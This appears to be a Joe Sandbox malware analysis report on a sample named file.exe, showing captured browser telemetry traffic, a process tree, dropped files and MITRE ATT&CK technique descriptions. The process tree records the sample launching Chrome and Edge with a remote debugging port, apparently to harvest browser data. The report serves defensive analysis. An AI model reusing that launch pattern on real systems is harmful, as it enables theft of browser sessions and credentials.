2024-12-12 15:47:23 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1734018440878&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9482 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2B4728EAA4386D50161A3DB9A5116C1A; _EDGE_S=F=1&SID=296938534AFC602A3AA42D004BC6615B; _EDGE_V=1; msnup=
2024-12-12 15:47:23 UTC	9482	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 31 32 54 31 35 3a 34 37 3a 32 30 2e 38 37 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 35 61 61 62 35 38 30 2d 63 34 63 66 2d 34 32 38 31 2d 38 35 34 30 2d 61 30 37 64 36 31 39 65 31 37 63 61 22 2c 22 65 70 6f 63 68 22 3a 22 31 38 37 30 33 39 30 36 35 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-12-12T15:47:20.877Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"b5aab580-c4cf-4281-8540-a07d619e17ca","epoch":"1870390653"},"app":{"loc
2024-12-12 15:47:24 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=ea4d97427a6346cab0457f73f93966b5&HASH=ea4d&LV=202412&V=4&LU=1734018444097; Domain=.microsoft.com; Expires=Fri, 12 Dec 2025 15:47:24 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=117d743da89140a49d2babdbb3ae2922; Domain=.microsoft.com; Expires=Thu, 12 Dec 2024 16:17:24 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3219 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 12 Dec 2024 15:47:23 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49935	23.223.209.209	443	7440	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:48:05 UTC	430	OUT	OPTIONS /api/report?cat=msn HTTP/1.1 Host: deff.nelreports.net Connection: keep-alive Origin: https://assets.msn.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-12 15:48:05 UTC	334	IN	HTTP/1.1 200 OK Content-Length: 0 Server: Kestrel Date: Thu, 12 Dec 2024 15:48:05 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.d6bbd717.1734018485.5bd67515 Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	49941	23.223.209.209	443	7440	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:48:06 UTC	374	OUT	POST /api/report?cat=msn HTTP/1.1 Host: deff.nelreports.net Connection: keep-alive Content-Length: 1003 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-12 15:48:06 UTC	1003	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 34 35 36 38 39 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 33 36 36 2c 22 6d 65 74 68 6f 64 22 3a 22 4f 50 54 49 4f 4e 53 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 33 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 74 70 2e 6d 73 6e 2e 63 6f 6d 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 31 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 32 33 2e 34 34 2e 32 30 33 2e 31 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 32 30 30 2c 22 74 79 70 65 22 3a 22 61 62 61 6e 64 6f 6e 65 64 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 Data Ascii: [{"age":45689,"body":{"elapsed_time":366,"method":"OPTIONS","phase":"application","protocol":"h3","referrer":"https://ntp.msn.com/","sampling_fraction":0.1,"server_ip":"23.44.203.13","status_code":200,"type":"abandoned"},"type":"network-error","url":"http
2024-12-12 15:48:07 UTC	334	IN	HTTP/1.1 200 OK Content-Length: 0 Server: Kestrel Date: Thu, 12 Dec 2024 15:48:07 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.d1bbd717.1734018487.15d6d9ce Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *

Target ID:	0
Start time:	10:46:23
Start date:	12/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	1'850'880 bytes
MD5 hash:	3B8B3018E3283830627249D26305419D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	10:46:42
Start date:	12/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:46:43
Start date:	12/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2236,i,14863251610561902864,11257692627608864395,262144 /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:46:57
Start date:	12/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:46:57
Start date:	12/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2256,i,13409747486401318326,17873368188022169057,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:46:58
Start date:	12/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	10:46:59
Start date:	12/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2704 --field-trial-handle=2052,i,3797865959626290967,6267395957437977720,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	10:47:03
Start date:	12/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6692 --field-trial-handle=2052,i,3797865959626290967,6267395957437977720,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	10:47:03
Start date:	12/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6856 --field-trial-handle=2052,i,3797865959626290967,6267395957437977720,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	10:47:59
Start date:	12/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6172 --field-trial-handle=2052,i,3797865959626290967,6267395957437977720,262144 /prefetch:8
Imagebase:
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	10:49:59
Start date:	12/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=972 --field-trial-handle=2052,i,3797865959626290967,6267395957437977720,262144 /prefetch:8
Imagebase:
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\RIWBA168GLNY\3O8Y5XLFC

C:\ProgramData\RIWBA168GLNY\5F3EKF

C:\ProgramData\RIWBA168GLNY\900ZM7Y5X

C:\ProgramData\RIWBA168GLNY\D2NY5P

C:\ProgramData\RIWBA168GLNY\F3OZCT

C:\ProgramData\RIWBA168GLNY\MOP8GV

C:\ProgramData\RIWBA168GLNY\OPHDT0

C:\ProgramData\RIWBA168GLNY\Q9RQQQ

C:\ProgramData\RIWBA168GLNY\RQ1VK6

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2c9029d1-02fa-4d2e-be51-6c84c1744e23.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\306837e0-07e8-4d95-9ccb-cf2346f1ccf7.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4517149b-0d78-48ba-a915-91f3ea53e8bb.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8f89641b-7328-4dd3-8330-dcd53cd87ca8.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\06ece2bf-db82-42e5-b7b4-f4ebe0a41ec4.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Windows Analysis Report
file.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre